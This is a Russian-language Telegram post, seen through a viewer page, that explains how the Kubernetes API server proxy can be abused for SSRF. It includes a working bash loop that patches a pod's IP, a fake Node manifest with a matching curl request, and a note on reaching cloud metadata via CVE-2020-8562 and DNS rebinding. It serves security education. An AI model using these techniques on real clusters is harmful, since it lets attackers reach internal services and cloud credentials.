TGViewer
k8s (in)security k8s (in)security @k8security · 13.2K subscribers
Post #1422 5.86K
Сегодняшним постом продолжаем тематику наступательной безопасности в Kubernetes, а именно – рассмотрим механизм Proxy в Kubernetes API Server.

Наверняка вы знаете, что Kubernetes API Server может выступать в качестве HTTP-прокси сервера, позволяя пользователям с соответствующими правами (create nodes/proxy, pods/proxy) получить доступ к Nodes или Pods.

Очевидно, что kubectl proxy позволяет по сути экспулатировать SSRF, поэтому рассмотрим несколько интересных способов использования этой функциональности:

1) Проксирование на адреса вне кластера

Бага 2019 года (упоминали про неё на канале тут), но она всё еще работает. Всё что нужно – это перезаписать IP адрес в поле status в манифесте Pod, а затем проксировать запросы на этот адрес. Однако, это может вызвать некоторые сложности, т.к Kubernetes распознает это изменение как ошибку и изменяет значение на действительный IP-адрес, поэтому вам придется зацикливать запросы, чтобы сохранить его установленным на нужное вам значение:


#!/bin/bash

set -euo pipefail

readonly PORT=8001
readonly POD=echoserver
readonly TARGETIP=1.1.1.1

while true; do
curl -v -H 'Content-Type: application/json' \
"http://localhost:${PORT}/api/v1/namespaces/default/pods/${POD}/status" >"${POD}-orig.json"

cat $POD-orig.json |
sed 's/"podIP": ".*",/"podIP": "'${TARGETIP}'",/g' \
>"${POD}-patched.json"

curl -v -H 'Content-Type:application/merge-patch+json' \
-X PATCH -d "@${POD}-patched.json" \
"http://localhost:${PORT}/api/v1/namespaces/default/pods/${POD}/status"

rm -f "${POD}-orig.json" "${POD}-patched.json"
done


2) SSRF через Fake Node

Если у вас есть возможность создавать Nodes, то в манифесте достаточно указать желаемый адрес, для того чтобы проксировать туда запросы:


kind: Node
apiVersion: v1
metadata:
name: fakegoogle
status:
addresses:
- address: www.google.com
type: Hostname



curl http://127.0.0.1:8001/api/v1/nodes/http:fakegoogle:80/proxy/


3) CVE-2020-8562 – Обход blacklist

Эксплуатация уязвимости типа TOCTOU, на данный момент не имеющей патча, будет особенно интересна, если вы находитесь в окружении облачного провайдера без возможности делать запросы на 169.254.169.254. Прибегнув к известной технике для эксплуатации SSRF – DNS rebinding можно обойти это ограничение, для этого, например, можно воспользоваться сервисом rebinder.

Про эти и другие способы использования kubectl proxy рассказал Rory McCune в своей статье "Exploring the Kubernetes API Server Proxy".
  • 👍 16
  • ❤ 5
  • 🔥 3
  • 🥰 2
More from @k8security
  1. Oct 9, 2026В 2014 году Google явил миру оркестратор Kubernetes, чтобы управлять множеством контейнеро…
  2. Oct 8, 2026NCC Group рассказали, как с помощью LLM-assisted pipeline нашли две уязвимости в etcd. В р…
  3. Oct 7, 2026Сегодня мы также хотим поделиться с вами нашим большим внутренним праздником) Наше решение…
  4. Oct 7, 2026Сегодня в центре нашего внимания свежий вайтпейпер "Kubernetes Misconfigurations in the Wi…
  5. Oct 6, 2026Исследователи Palo Alto Networks показали интересный сценарий атаки на SPIFFE/SPIRE в Kube…
  6. Oct 5, 2026k8s-aibom - это оператор для сбора AI Bill of Materials в Kubernetes. В AI-проектах уже не…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →